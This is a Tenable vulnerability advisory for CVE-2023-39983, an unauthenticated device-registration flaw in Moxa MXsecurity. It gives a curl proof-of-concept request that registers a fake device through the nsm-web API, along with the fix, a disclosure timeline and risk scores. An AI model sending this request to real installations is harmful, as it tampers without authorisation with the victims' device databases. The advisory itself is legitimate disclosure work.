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Moxa MXsecurity Unauthenticated Device Registration

Medium

Synopsis

A security issue regarding improper access controls has been discovered in Moxa MXsecurity V1.0.1-23021705. It allows an unauthenticated remote attacker to register/add devices via the nsm-web application. This pollutes the MXsecurity sqlite database and the nsm-web UI.

Proof of Concept


curl -k -H 'Content-Type:application/json' -d '{"mac":"11:11:11:11:11:11", "serialNumber":"1234", "modelName":"aaa", "hostname":"device_1", "firmwareVersion":"1.1", "location":"location_1"}'  'https://<mxsecurity-host>/api/v1/devices/register'

Solution

Upgrade to firmware v1.1.0 or later.

Disclosure Timeline

June 13, 2023 - Tenable attempts to obtain security contact from vendor.
June 14, 2023 - Vendor sends contact information. Tenable discloses to vendor.
June 15, 2023 - Vendor provides acknowledgement of receipt.
July 6, 2023 - Tenable requests status update. Vendor provides status update.
July 20, 2023 - Vendor states patch and advisory will be released in late August. Tenable acknowledges.
August 28, 2023 - Tenable requests status update.
August 30, 2023 - Vendor provides status update.
September 1, 2023 - Vendor posts advisory and provides information to Tenable.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2023-39983
Tenable Advisory ID: TRA-2023-30
CVSSv3 Base / Temporal Score:
5.3 / 4.8
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Affected Products:
MOXA MXsecurity Series Software version v1.0.1 and prior versions
Risk Factor:
Medium

Advisory Timeline

September 5, 2023 - Initial release

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